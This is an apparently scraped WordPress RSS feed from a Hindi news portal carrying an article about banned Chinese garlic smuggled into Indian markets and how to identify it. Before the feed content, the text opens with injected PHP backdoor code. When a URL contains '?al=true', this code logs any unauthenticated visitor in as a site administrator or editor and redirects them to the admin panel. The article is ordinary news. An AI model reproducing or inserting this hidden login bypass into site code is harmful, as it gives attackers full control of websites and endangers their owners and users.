// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Chinese garlic – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 13 Sep 2024 10:09:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 भारतीय बाजार में बैन के बावजूद चीन के खतरनाक लहसुन की एंट्री https://pratyushaashakinayikiran.com/?p=69829 Fri, 13 Sep 2024 10:09:00 +0000 https://pratyushaashakinayikiran.com/?p=69829 नई दिल्ली

 चीन का लहसुन जो 2014 से ही भारत में प्रतिबंधित है, अब तस्करी के जरिए मार्केट में आ चुका है। उस पर प्रतिबंध इसलिए लगाया गया कि वह सेहत के लिए खतरनाक है। वजह ये कि उसमें कीटनाशकों का उच्च स्तर होता है। उसके फंगसयुक्त होने का भी डर था, इसलिए बैन लगा। लेकिन देसी लहसुन से काफी सस्ता होने की वजह से अवैध तरीके बाजार में उतारा जा रहा है। कहीं आप भी तो अनजाने में चीनी लहसुन तो नहीं खरीद रहे? आखिर कैसे पहचानें कि आप जो लहसुन खरीद रहे हैं, वह देसी है या प्रतिबंधित चीनी लहसुन है, आइए जानते हैं।

बाजार में खतरनाक चीनी लहसुन की एंट्री!
प्रतिबंध के बावजूद चीन के लहसुन की भारत में बिक्री का खुलासा तब हुआ जब गुजरात के राजकोट में चीन लहसुन के 30 बैग मिले। ये लहसुन गोंडल के एग्रीकल्चर मार्केट प्रोड्यूस कमिटी (एपीएमसी) में मिले जिसके बाद वहां हंगामा मच गया। व्यापारियों ने प्रतिबंधित चीनी लहसुन मिलने के विरोध में गोंडल एपीएमसी में ऑक्शन रोक दिया। मार्केट में चीनी लहसुन की गैरकानूनी तरीके से सप्लाई के खिलाफ 1 दिन का प्रोटेस्ट भी किया। इस लहसुन की तस्करी इसलिए होती है कि ये देसी लहसुन से काफी सस्ता है और इसे अच्छे मार्जिन पर बेचकर अच्छा खासा मुनाफा कमाया जा सकता है। लेकिन ये लोगों की सेहत के साथ बड़ा खिलवाड़ है। व्यापारियों के विरोध-प्रदर्शन के बाद गुजरात सरकार ने पूरे राज्य के बाजारों की जांच करने के आदेश दिए हैं कि वहां कहीं अवैध तरीके से चीनी लहसुन की सप्लाई तो नहीं की गई है।

ऐसे करें चीनी लहसुन की पहचान
चीन दुनिया में लहसुन का सबसे बड़ा उत्पादक है। वहां इसे उगाने में बहुत ज्यादा केमिकल और कीटनाशकों का इस्तेमाल किया जाता है जो सेहत के लिए खतरनाक है। इसके अलावा उसमें फंगस मिलने की भी आशंका थी जिस वजह से भारत सरकार ने 2014 में उस पर प्रतिबंध लगा दिया था। प्रतिबंध के बावजूद तस्करी के जरिए उसकी बाजार में एंट्री डराने वाली है। बड़ा सवाल ये है कि आखिर कैसे पहचानें कि हम जो लहसुन खरीद रहे हैं वह चाइनीज है या देसी। दरअसल, चीनी लहसुन को पहचानना बहुत आसान है। उसका रंग, आकार और उसकी गंध देसी लहसुन से अलग होती है। चीनी लहसुन आम तौर पर देसी लहसुन के मुकाबले छोटे होते हैं। वह हल्के सफेद और हल्के गुलाबी रंगत लिए हुए होते हैं। दूसरी तरफ देसी लहसुन साइज में बड़े होते हैं और उनका रंग सफेद या फिर क्रीम कलर का होता है। दोनों के सुगंध में भी फर्क है। देसी लहसुन की गंध तेज होती है जबकि चाइनीज लहसुन की गंध हल्की होती है।

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